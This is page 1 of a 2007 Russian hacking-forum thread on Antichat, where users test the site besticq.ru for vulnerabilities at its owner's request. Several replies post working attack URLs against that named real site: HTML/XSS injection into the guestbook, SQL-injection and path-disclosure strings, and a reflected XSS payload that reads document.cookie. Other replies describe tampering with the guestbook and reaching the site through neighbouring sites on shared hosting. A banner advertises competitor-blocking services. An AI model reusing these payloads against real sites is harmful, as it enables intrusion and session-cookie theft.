Проверьте besticq плз

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Проверка на уязвимости
Проверьте besticq плз

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

Проверьте плз

03.12.2007, 20:28

Ridikh

Познающий

Регистрация: 11.11.2007

Сообщений: 89

С нами: 9735613

Репутация: 15

Проверьте плз

Собсно сабж

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось Ridikh; 27.07.2009 в 01:29..

04.12.2007, 13:08

biophreak

Постоянный

Регистрация: 03.08.2007

Сообщений: 367

С нами: 9880226

Репутация: 209

Проверяй строку браузера на корректность в гостевухе...
И проверочный код - нафиг он вообще там...юзай капчу ))))

Последний раз редактировалось biophreak; 04.12.2007 в 13:11..

04.12.2007, 13:19

groundhog

Познавший АНТИЧАТ

Регистрация: 12.05.2007

Сообщений: 1,235

С нами: 9999746

Репутация: 1318

http://besticq.ru/gb/index.php?act=sendmail&to=%22%3E%3Cfont%20style=co lor:red;font-size:200pt;%20%3E%CA%F0%E5%E2%E5%E4!%3C/font%3E&for=sadsad

04.12.2007, 16:27

Elvis000

Постоянный

Регистрация: 23.04.2007

Сообщений: 646

С нами: 10027046

Репутация: 1035

раскрытие пути + sql-inj

http://besticq.ru/forum_wap/index.php?id_forum=2&id_razd=12&id_them=521312752& page='

04.12.2007, 16:43

~~Underwit~~

Banned

Регистрация: 06.10.2006

Сообщений: 288

С нами: 10313060

Репутация: 469

Я вам там чуть гостевуху запарол. Кароч если поменять user-agent браузера на код

Цитата:

то можно добиться xss, но проблема в том что выводиться не всё, часть символов режиться. Вот. Кароч в гостевухе больше ничо не видно. Извините.

04.12.2007, 17:09

halkfild

Постоянный

Регистрация: 11.11.2005

Сообщений: 391

С нами: 10787366

Репутация: 2277

[раскрытие]
http://besticq.ru/forum_wap/new.php?page=end'

з.ы. мдя с гостевой конечно не сильно хорошо =\
з.з.ы. смотрю дальше

Последний раз редактировалось halkfild; 20.12.2007 в 01:11..

05.12.2007, 16:29

~~Underwit~~

Banned

Регистрация: 06.10.2006

Сообщений: 288

С нами: 10313060

Репутация: 469

Цитата:

Сообщение от Ridikh

шел например реально залить?
или через другой сайт на хостинге залесть?

через другой сайт реально залесть. По reverse-ip 143 штуки показал.

06.12.2007, 02:26

~~Underwit~~

Banned

Регистрация: 06.10.2006

Сообщений: 288

С нами: 10313060

Репутация: 469

Цитата:

Сообщение от Ridikh

как защитить можно?

halkfild: никак... смотри за своей безопасностю
з.ы. купи выделенный сервер и размести там свой сайт

Почему никак?
Можно если будут правильно выставлены права.
Или купить у хостера отдельный ip.

09.12.2007, 19:59

RenGen

Новичок

Регистрация: 23.10.2007

Сообщений: 6

С нами: 9763454

Репутация: 19

Код:

http://besticq.ru/sms/buy.php?uin=9971898&s_language='

#10

09.12.2007, 20:03

RenGen

Новичок

Регистрация: 23.10.2007

Сообщений: 6

С нами: 9763454

Репутация: 19

Код:

http://besticq.ru/sms/buy.php?uin=9971898&s_country=%22%3E%3C/title%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

Страница 1 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Проверьте плиз сайтег	Marlboro_X	Проверка на уязвимости	16	10.01.2008 23:25
помогите плз!!!	fuaska	Болталка	3	01.09.2007 10:54
megahyiptracer.com - проверьте плз	dokwill	Проверка на уязвимости	4	12.08.2007 11:13
помогите плз, украли пароль	druxaa	Skype, IRC, ICQ, Jabber и другие IM	18	23.02.2007 17:02
Проверьте пожалуйста	dk-ne	Защита ОС: вирусы, антивирусы, файрволы.	5	06.02.2007 21:21

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход